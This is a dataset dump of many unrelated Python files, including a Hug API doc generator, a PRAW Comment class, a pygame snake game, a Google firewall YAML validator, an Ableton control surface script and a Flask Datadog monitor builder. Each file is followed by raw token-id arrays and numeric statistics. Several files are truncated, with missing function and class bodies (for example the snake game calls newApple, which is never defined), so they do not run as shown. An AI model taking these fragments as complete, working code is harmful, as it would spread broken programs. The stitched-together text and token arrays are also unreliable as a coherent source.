TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
"""
from collections import OrderedDict
import hug.types
def generate(module, base_url="", api_version=None):
'''Generates documentation based on a Hug API module, base_url, and api_version (if applicable)'''
documentation = OrderedDict()
overview = module.__doc__
if overview:
documentation['overview'] = overview
documentation['versions'] = OrderedDict()
versions = module.__hug__.versions
for version in (api_version, ) if api_version else versions:
documentation['versions'][version] = OrderedDict()
for url, methods in module.__hug__.routes.items():
for method, versions in methods.items():
for version, handler in versions.items():
if version == None:
applies_to = versions
else:
applies_to = (version, )
for version in applies_to:
if api_version and version != api_version:
continue
doc = documentation['versions'][version].setdefault(url, OrderedDict())
doc = doc.setdefault(method, OrderedDict())
usage = handler.api_function.__doc__
if usage:
doc['usage'] = usage
for example in handler.examples:
example_text = "{0}{1}{2}".format(base_url, '/v{0}'.format(version) if version else '', url)
if isinstance(example, str):
example_text += "?{0}".format(example)
doc_examples = doc.setdefault('examples', [])
if not example_text in doc_examples:
doc_examples.append(example_text)
doc['outputs'] = OrderedDict(format=handler.output_format.__doc__,
content_type=handler.content_type)
parameters = [param for param in handler.accepted_parameters if not param in ('request',
'response')
and not param.startswith('hug_')]
if parameters:
inputs = doc.setdefault('inputs', OrderedDict())
types = handler.api_function.__annotations__
for argument in parameters:
input_definition = inputs.setdefault(argument, OrderedDict())
input_definition['type'] = types.get(argument, hug.types.text).__doc__
default = handler.defaults.get(argument, None)
if default is not None:
input_definition['default'] = default
if len(documentation['versions']) == 1:
documentation.update(tuple(documentation['versions'].values())[0])
documentation.pop('versions')
else:
documentation['versions'].pop(None, '')
return documentation
| [
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] | 2.280295 | 1,898 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, os.path
testmodules_path = os.path.dirname(os.path.abspath(__file__))
rootpath = os.path.split(testmodules_path)[0]
sys.path.append(rootpath)
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'''
No problem, just process
Status: Accepted
'''
###############################################################################
def main():
"""Read input and print output"""
result = ''
for i in input():
if result:
if i != result[-1]:
result += i
else:
result = i
print(result)
###############################################################################
if __name__ == '__main__':
main()
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] | 2.884848 | 165 |
from enum import Enum
| [
6738,
33829,
1330,
2039,
388,
628,
198
] | 3.428571 | 7 |
import datetime
from dateutil.parser import parse
from django.db import connection
from django.db.models import Min
from django.db.models import Q
from django.utils import timezone
from rest_framework import mixins
from rest_framework import pagination
from rest_framework import permissions
from rest_framework import viewsets
from .serializers import ContentReportSerializer
from .serializers import ContentSummarySerializer
from .serializers import LessonReportSerializer
from .serializers import UserReportSerializer
from .utils.return_users import get_members_or_user
from kolibri.core.auth.constants import collection_kinds
from kolibri.core.auth.constants import role_kinds
from kolibri.core.auth.models import Collection
from kolibri.core.auth.models import FacilityUser
from kolibri.core.content.models import ContentNode
from kolibri.core.decorators import query_params_required
from kolibri.core.lessons.models import Lesson
from kolibri.core.logger.models import ContentSummaryLog
from kolibri.core.logger.models import MasteryLog
collection_kind_choices = tuple([choice[0] for choice in collection_kinds.choices] + ['user'])
class OptionalPageNumberPagination(pagination.PageNumberPagination):
"""
Pagination class that allows for page number-style pagination, when requested.
To activate, the `page_size` argument must be set. For example, to request the first 20 records:
`?page_size=20&page=1`
"""
page_size = None
page_size_query_param = "page_size"
# check if requesting user has permission for collection or user
@query_params_required(channel_id=str, content_node_id=str, collection_kind=collection_kind_choices, collection_id=str)
@query_params_required(channel_id=str, collection_kind=collection_kind_choices, collection_id=str)
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] | 3.413662 | 527 |
from math import sqrt
from collections import deque
# sort using g + h costs
# implement A* seaarch algorithm
# use euclidean distance to the goal node to determine the h value
# use stack to retrieve elements in reverse order | [
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] | 3.9 | 60 |
"""Provide the Comment class."""
from ...const import urljoin
from ...exceptions import ClientException
from ..comment_forest import CommentForest
from .base import RedditBase
from .mixins import InboxableMixin, ThingModerationMixin, UserContentMixin
from .redditor import Redditor
class Comment(RedditBase, InboxableMixin, UserContentMixin):
"""A class that represents a reddit comments."""
STR_FIELD = 'id'
@property
def is_root(self):
"""Return True when the comment is a top level comment."""
parent_type = self.parent_id.split('_', 1)[0]
return parent_type == self._reddit.config.kinds['submission']
@property
def mod(self):
"""An instance of :class:`.CommentModeration`."""
if self._mod is None:
self._mod = CommentModeration(self)
return self._mod
@property
def replies(self):
"""An instance of :class:`.CommentForest`."""
if isinstance(self._replies, list):
self._replies = CommentForest(self.submission, self._replies)
return self._replies
@property
def submission(self):
"""Return the Submission object this comment belongs to."""
if not self._submission: # Comment not from submission
self._submission = self._reddit.submission(
self.link_id.split('_', 1)[1])
return self._submission
@submission.setter
def submission(self, submission):
"""Update the Submission associated with the Comment."""
assert self.name not in submission._comments_by_id
submission._comments_by_id[self.name] = self
self._submission = submission
for reply in getattr(self, 'replies', []):
reply.submission = submission
def __init__(self, reddit, id=None, # pylint: disable=redefined-builtin
_data=None):
"""Construct an instance of the Comment object."""
if bool(id) == bool(_data):
raise TypeError('Either `id` or `_data` must be provided.')
self._mod = self._replies = self._submission = None
super(Comment, self).__init__(reddit, _data)
if id:
self.id = id # pylint: disable=invalid-name
else:
self._fetched = True
def __setattr__(self, attribute, value):
"""Objectify author, replies, and subreddit."""
# pylint: disable=redefined-variable-type
if attribute == 'author':
value = Redditor.from_data(self._reddit, value)
elif attribute == 'replies':
if value == '':
value = []
else:
value = self._reddit._objector.objectify(value).children
attribute = '_replies'
elif attribute == 'subreddit':
value = self._reddit.subreddit(value)
super(Comment, self).__setattr__(attribute, value)
def parent(self):
"""Return the parent of the comment.
The returned parent will be an instance of either
:class:`.Comment`, or :class:`.Submission`.
If this comment was obtained through a :class:`.Submission`, then its
entire ancestry should be immediately available, requiring no extra
network requests. However, if this comment was obtained through other
means, e.g., ``reddit.comment('COMMENT_ID')``, or
``reddit.inbox.comment_replies``, then the returned parent may be a
lazy instance of either :class:`.Comment`, or :class:`.Submission`.
Lazy Comment Example:
.. code:: python
comment = reddit.comment('cklhv0f')
parent = comment.parent()
# `replies` is empty until the comment is refreshed
print(parent.replies) # Output: []
parent.refresh()
print(parent.replies) # Output is at least: [Comment(id='cklhv0f')]
"""
# pylint: disable=no-member
if self.parent_id == self.submission.fullname:
return self.submission
if '_comments' in self.submission.__dict__ \
and self.parent_id in self.submission._comments_by_id:
# The Comment already exists, so simply return it
return self.submission._comments_by_id[self.parent_id]
# pylint: enable=no-member
parent = Comment(self._reddit, self.parent_id.split('_', 1)[1])
parent._submission = self.submission
return parent
def permalink(self, fast=False):
"""Return a permalink to the comment.
:param fast: Return the result as quickly as possible (default: False).
In order to determine the full permalink for a comment, the Submission
may need to be fetched if it hasn't been already. Set ``fast=True`` if
you want to bypass that possible load.
A full permalink looks like:
/r/redditdev/comments/2gmzqe/praw_https_enabled/cklhv0f
A fast-loaded permalink for the same comment will look like:
/comments/2gmzqe//cklhv0f
"""
# pylint: disable=no-member
if not fast or 'permalink' in self.submission.__dict__:
return urljoin(self.submission.permalink, self.id)
return '/comments/{}//{}'.format(self.submission.id, self.id)
def refresh(self):
"""Refresh the comment's attributes.
If using :meth:`.Reddit.comment` this method must be called in order to
obtain the comment's replies.
"""
if 'context' in self.__dict__: # Using hasattr triggers a fetch
comment_path = self.context.split('?', 1)[0]
else:
comment_path = '{}_/{}'.format(
self.submission._info_path(), # pylint: disable=no-member
self.id)
comment_list = self._reddit.get(comment_path)[1].children
if not comment_list:
raise ClientException('Comment has been deleted')
comment = comment_list[0]
for reply in comment._replies:
reply.submission = self.submission
del comment.__dict__['_submission'] # Don't replace
self.__dict__.update(comment.__dict__)
return self
class CommentModeration(ThingModerationMixin):
"""Provide a set of functions pertaining to Comment moderation."""
def __init__(self, comment):
"""Create a CommentModeration instance.
:param comment: The comment to moderate.
"""
self.thing = comment
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] | 2.482067 | 2,593 |
# -*- coding: utf-8 -*-
# Description: validation functions
from ipaddress import (AddressValueError, NetmaskValueError,
ip_address, IPv4Address, IPv6Address,
ip_network, IPv4Network, IPv6Network)
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] | 2.293578 | 109 |
from nekumo.api.config import QuickStart
from nekumo.api.nodes import Dir, File, Node, Image, Video
__author__ = 'nekmo'
stanza_classes = [
# Este listado se recorre para determinar el tipo de clase mejor a usar
# con un nodo. Se usa un método estático is_capable para determinarlo.
# Por ejemplo, tendremos clases Dir y File, con métodos distintos.
QuickStart,
Image,
Video,
Dir,
File,
Node,
] | [
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19081,
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60
] | 2.460227 | 176 |
import time
import pygame
pygame.mixer.init()
alarm = pygame.mixer.Sound("alarm_ding.ogg")
alarm_len = alarm.get_length()
minutes = int(input ("Minutes:"))*60
seconds = int(input("Seconds:"))
timer = minutes + seconds
for i in range(timer):
print("", str(timer - i), end="\r")
time.sleep(1)
alarm.play()
print("time's over")
time.sleep(alarm_len) | [
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] | 2.602941 | 136 |
#################################3##################################################################
# Name: Pygame Snake Experiement
# Purpose: Make a simple pygame game to get a handle on PyGame
# Date: 2013/12/22
# Programmer: Toben "Littlefoo" "Narcolapser" Archer
# Version: 0.1
####################################################################################################
import sys, pygame
from pygame.locals import *
from random import randint
import math
pygame.init()
fps = pygame.time.Clock()
window = pygame.display.set_mode((640,480))
pygame.display.set_caption('SNAAAAAAAAAAAAAAAAAAAAAAKE!!!!!!!!!!!!!!')
snakeLength = 3
snakeBody = [(320,240),(320,250),(320,260)]
apple = newApple()
speed = 10
direction = (0,-1)
#(1, = left, (-1, = right, 1) = down, -1) = up
quit = False
while not quit:
events = pygame.event.get()
window.fill((0,0,128))
for event in events:
if event.type == KEYDOWN:
if event.key == K_q:
quit = True
if event.key == K_a:
direction = (-1,0)
if event.key == K_d:
direction = (1,0)
if event.key == K_w:
direction = (0,-1)
if event.key == K_s:
direction = (0,1)
appleEaten = snakeCollidesApple(snakeBody,apple)
snakeBitten = snakeCollidesSelf(snakeBody)
snakeCrashed = snakeCollidesEdge(snakeBody)
if appleEaten:
apple = newApple()
snakeLength += 1
speed += 1
snakeBody = moveSnake(snakeBody)
drawApple()
drawSnake()
pygame.display.update()
fps.tick(speed)
quit = snakeBitten or snakeCrashed or quit
print "you ate:",snakeLength-3,"apples!"
if randint(0,100)>95:
print "big question here: do snakes eat apples?"
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] | 2.752542 | 590 |
#!/usr/bin/env python3
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import glob
import ipaddress
import json
import sys
import click
import yaml
import yamale
from fnmatch import fnmatch
from types import SimpleNamespace
from yamale.validators import DefaultValidators, Validator
class Netmask(Validator):
""" Custom netmask validator """
tag = 'netmask'
settings = {}
mode = None
_type = None
class NetworkTag(Validator):
""" Custom network tag validator """
tag = 'networktag'
settings = {}
mode = None
_type = None
class ServiceAccount(Validator):
""" Custom service account validator """
tag = 'serviceaccount'
settings = {}
mode = None
_type = None
class NetworkPorts(Validator):
""" Custom ports validator """
tag = 'networkports'
settings = {}
mode = None
_type = None
allowed_port_map = []
approved_port_map = []
@click.command()
@click.argument('files')
@click.option('--schema',
default='/schemas/firewallSchema.yaml',
help='YAML schema file')
@click.option('--settings',
default='/schemas/firewallSchemaSettings.yaml',
help='schema configuration file')
@click.option('--mode',
default='validate',
help='select mode (validate or approve)')
@click.option('--github',
is_flag=True,
default=False,
help='output GitHub action compatible variables')
if __name__ == '__main__':
main()
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] | 2.968935 | 676 |
# amounra 0513 : http://www.aumhaa.com
from __future__ import with_statement
import Live
import math
""" _Framework files """
from _Framework.ButtonElement import ButtonElement # Class representing a button a the controller
from _Framework.ButtonMatrixElement import ButtonMatrixElement # Class representing a 2-dimensional set of buttons
from _Framework.ChannelStripComponent import ChannelStripComponent # Class attaching to the mixer of a given track
from _Framework.ClipSlotComponent import ClipSlotComponent # Class representing a ClipSlot within Live
from _Framework.CompoundComponent import CompoundComponent # Base class for classes encompasing other components to form complex components
from _Framework.ControlElement import ControlElement # Base class for all classes representing control elements on a controller
from _Framework.ControlSurface import ControlSurface # Central base class for scripts based on the new Framework
from _Framework.ControlSurfaceComponent import ControlSurfaceComponent # Base class for all classes encapsulating functions in Live
from _Framework.DeviceComponent import DeviceComponent # Class representing a device in Live
from _Framework.EncoderElement import EncoderElement # Class representing a continuous control on the controller
from _Framework.InputControlElement import * # Base class for all classes representing control elements on a controller
from _Framework.MixerComponent import MixerComponent # Class encompassing several channel strips to form a mixer
from _Framework.ModeSelectorComponent import ModeSelectorComponent # Class for switching between modes, handle several functions with few controls
from _Framework.NotifyingControlElement import NotifyingControlElement # Class representing control elements that can send values
from _Framework.SceneComponent import SceneComponent # Class representing a scene in Live
from _Framework.SessionComponent import SessionComponent # Class encompassing several scene to cover a defined section of Live's session
from _Framework.SessionZoomingComponent import DeprecatedSessionZoomingComponent as SessionZoomingComponent # Class using a matrix of buttons to choose blocks of clips in the session
from _Framework.SliderElement import SliderElement # Class representing a slider on the controller
from VCM600.TrackEQComponent import TrackEQComponent # Class representing a track's EQ, it attaches to the last EQ device in the track
from VCM600.TrackFilterComponent import TrackFilterComponent # Class representing a track's filter, attaches to the last filter in the track
from _Framework.TransportComponent import TransportComponent # Class encapsulating all functions in Live's transport section
from _Framework.M4LInterfaceComponent import M4LInterfaceComponent
"""Custom files, overrides, and files from other scripts"""
from _Mono_Framework.MonoButtonElement import MonoButtonElement
from _Mono_Framework.MonoEncoderElement import MonoEncoderElement
from _Mono_Framework.MonoBridgeElement import MonoBridgeElement
from _Mono_Framework.Debug import *
from Map import *
""" Here we define some global variables """
switchxfader = (240, 00, 01, 97, 02, 15, 01, 247)
switchxfaderrgb = (240, 00, 01, 97, 07, 15, 01, 247)
assigncolors = (240, 00, 01, 97, 07, 34, 00, 07, 03, 06, 05, 01, 02, 04, 247)
assign_default_colors = (240, 00, 01, 97, 07, 34, 00, 07, 06, 05, 01, 04, 03, 02, 247)
check_model = (240, 126, 127, 6, 1, 247)
""" Here we add an override to the MixerComponent to include return channels in our mixer """
# a | [
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] | 4.218117 | 839 |
from dataclasses import dataclass
from typing import Optional
from flask_datadog.generator import endpoint_util
from flask_datadog.shared.datadog_constants import \
MonitorType, \
MonitorSpec
@dataclass(frozen=True)
@dataclass(frozen=True)
class DatadogMonitor:
"""Represents a DataDog Monitor"""
# endpoint_path example: /base_test
endpoint_path: str
# method example: GET
method: str
monitor_type: MonitorType
# mon_spec: dictionary of monitor specifications
mon_spec: dict
DEFAULT_ALERT_PERIOD: str = '5m'
# For anomaly monitors: mapping of rollup intervals for aggregation to the
# avg() time period for the anomaly query
ROLLUP_TO_AVG_TIME_MAP = {
7600: '2w',
3600: '1w',
1800: '1w',
600: '2d',
300: '1d',
120: '12h',
60: '4h',
20: '1h',
}
@property
@property
def name(self) -> str:
"""Return name of DataDog monitor name
TODO: make this function customizable by end user.
"""
cleaned_endpoint_path: str = endpoint_util.clean_endpoint_for_naming(
self.endpoint_path,
)
# Use MonitorType.value because we can keep the enum value the same
# while we we maintain flexibility to refactor the enum name in the code
return f'{self.method.upper()}-{cleaned_endpoint_path}_{self.monitor_type.value}'
@property
def resource_name(self) -> str:
"""Datadog format resource name.
Used for `tags` field in terraform spec for a monitor.
"""
return f'{self.method}_{self.endpoint_path.lower()}'.lower()
@property
def terraform_monitor_type(self) -> str:
"""Map the DataDog Monitor to the proper monitor type for Terraform specs.
Different monitor types: https://docs.datadoghq.com/api/latest/monitors/#create-a-monitor
"""
if self.monitor_type in [
MonitorType.APM_ERROR_RATE_THRESHOLD,
MonitorType.APM_LATENCY_THRESHOLD,
MonitorType.APM_ERROR_RATE_ANOMALY,
]:
return 'query alert'
raise DatadogMonitorFormatException(
f'MonitorType [{self.monitor_type}] has no matching terraform monitor type string')
def get_alert_escalation_msg(self) -> str:
"""Return escalation message
TODO: not sure where escalation msg is applicable
"""
return 'Alert escalated'
def get_alert_msg(self) -> str:
"""Return alert msg for monitor
"""
if self.mon_spec.get(MonitorSpec.MSG, ''):
return ' '.join(self.mon_spec[MonitorSpec.MSG].split())
return f"""{self.monitor_type.value} triggered."""
def get_alert_thresholds(self) -> AlertThresholds:
"""Alert thresholds with defaults
"""
critical_threshold: float = self.mon_spec.get(MonitorSpec.CRITICAL_THRESHOLD, None)
critical_recovery: float = self.mon_spec.get(MonitorSpec.CRITICAL_RECOVERY_THRESHOLD, None)
warning_threshold: float = self.mon_spec.get(MonitorSpec.WARNING_THRESHOLD, None)
warning_recovery: float = self.mon_spec.get(MonitorSpec.WARNING_RECOVERY_THRESHOLD, None)
if all(x is None for x in [
critical_recovery,
critical_threshold,
warning_recovery,
warning_threshold]
):
critical_threshold = .1
critical_recovery = .08
warning_threshold = .05
warning_recovery = .03
return AlertThresholds(
critical_threshold=critical_threshold,
critical_recovery=critical_recovery,
warning_threshold=warning_threshold,
warning_recovery=warning_recovery,
)
def get_anomaly_threshold_windows(self) -> dict[str, str]:
"""Return anomaly monitor threshold windows.
Threshold windows match the alert_window.
"""
if self.is_anomaly_monitor():
return {
'recovery_window': f'last_{self.alert_period}',
'trigger_window': f'last_{self.alert_period}',
}
return {}
def get_query_str(
self,
env: str,
service_name: str,
) -> str:
"""
:param env: alert env (e.g., 'staging', 'prod')
:param service_name: name of service (e.g., 'authentication_service')
"""
at: AlertThresholds = self.get_alert_thresholds()
resource_name: str = f'{self.method.lower()}_{self.endpoint_path}'
# flask_req_filter is the common filter to apply to flask request traces
flask_req_filter: str = f"""
env:{env},
service:{service_name},
resource_name:{resource_name}
"""
if self.monitor_type == MonitorType.APM_ERROR_RATE_THRESHOLD:
query = f"""
sum(last_{self.alert_period}): (
sum:trace.flask.request.errors{{
{flask_req_filter}
}}.as_count()
/
sum:trace.flask.request.hits{{
{flask_req_filter}
}}.as_count()
) > {at.critical_threshold}
"""
elif self.monitor_type == MonitorType.APM_LATENCY_THRESHOLD:
query = f"""
avg(last_{self.alert_period}):avg:trace.flask.request{{
{flask_req_filter}
}} > {at.critical_threshold}
"""
elif self.monitor_type == MonitorType.APM_ERROR_RATE_ANOMALY:
# TODO: only basic supported for now -- other's are 'agile',
# 'robust' and have more associated configs
anomaly_algo = 'basic'
default_deviation_dir = 'both'
default_num_deviations = 2
# TODO: map rollup interval to alert_period because possible
# rollup interval values are conditional on alert_period
default_rollup_interval_sec = 120
deviation_dir: str = self.mon_spec.get(
MonitorSpec.ANOMALY_DEVIATION_DIR, default_deviation_dir)
anomaly_num_deviations = self.mon_spec.get(
MonitorSpec.ANOMALY_NUM_DEVIATIONS, default_num_deviations)
anomaly_rollup_interval_sec = self.mon_spec.get(
MonitorSpec.ANOMALY_ROLLUP_INTERVAL_SEC, default_rollup_interval_sec)
if anomaly_rollup_interval_sec not in DatadogMonitor.ROLLUP_TO_AVG_TIME_MAP:
raise DatadogMonitorFormatException(f'Rollup interval ({anomaly_rollup_interval_sec}) not supported.')
query = f"""
avg(last_{DatadogMonitor.ROLLUP_TO_AVG_TIME_MAP[anomaly_rollup_interval_sec]}):anomalies(
sum:trace.flask.request.errors{{
{flask_req_filter}
}}.as_count()
/
sum:trace.flask.request.hits{{
{flask_req_filter}
}}.as_count(),
'{anomaly_algo}',
{anomaly_num_deviations},
direction='{deviation_dir}',
alert_window='last_{self.alert_period}',
interval={anomaly_rollup_interval_sec},
count_default_zero='true'
) >= {at.critical_threshold}
"""
else:
raise DatadogMonitorFormatException(f'Monitor type ({self.monitor_type}) not supported.')
return ' '.join(query.split())
def is_anomaly_monitor(self) -> bool:
"""Return whether or not this is an anomaly monitor
"""
return self.monitor_type in MonitorType.anomaly_monitors()
def is_default_monitor(self) -> bool:
"""A monitor is a default monitor if it has no specifications"""
return len(self.mon_spec) == 0
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277,
37811,
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42781,
7,
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23330,
27354,
324,
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220,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2160,
25,
40546,
13,
2704,
2093,
13,
25927,
13,
48277,
27007,
198,
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220,
220,
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220,
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220,
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1391,
2704,
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42180,
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92,
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220,
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220,
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220,
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1782,
27422,
292,
62,
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3419,
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220,
220,
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1220,
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2160,
25,
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71,
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1782,
27422,
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220,
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220,
220,
220,
220,
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220,
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220,
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4571,
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3920,
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220,
220,
220,
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7995,
62,
17497,
11639,
12957,
23330,
944,
13,
44598,
62,
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92,
3256,
198,
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220,
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16654,
34758,
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62,
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5512,
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220,
220,
220,
220,
220,
220,
220,
954,
62,
12286,
62,
22570,
11639,
7942,
6,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
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220,
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1267,
18189,
1391,
265,
13,
34666,
62,
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10126,
92,
198,
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220,
220,
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37227,
628,
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2073,
25,
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220,
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220,
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5298,
16092,
324,
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16922,
7,
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6,
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2637,
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1441,
705,
45302,
22179,
7,
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825,
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62,
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20512,
25,
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37227,
13615,
1771,
393,
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428,
318,
281,
32172,
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1441,
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6030,
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6742,
3419,
628,
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825,
318,
62,
12286,
62,
41143,
7,
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4613,
20512,
25,
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220,
220,
220,
220,
220,
220,
37227,
32,
5671,
318,
257,
4277,
5671,
611,
340,
468,
645,
20640,
37811,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
18896,
7,
944,
13,
2144,
62,
16684,
8,
6624,
657,
198
] | 2.099213 | 3,810 |
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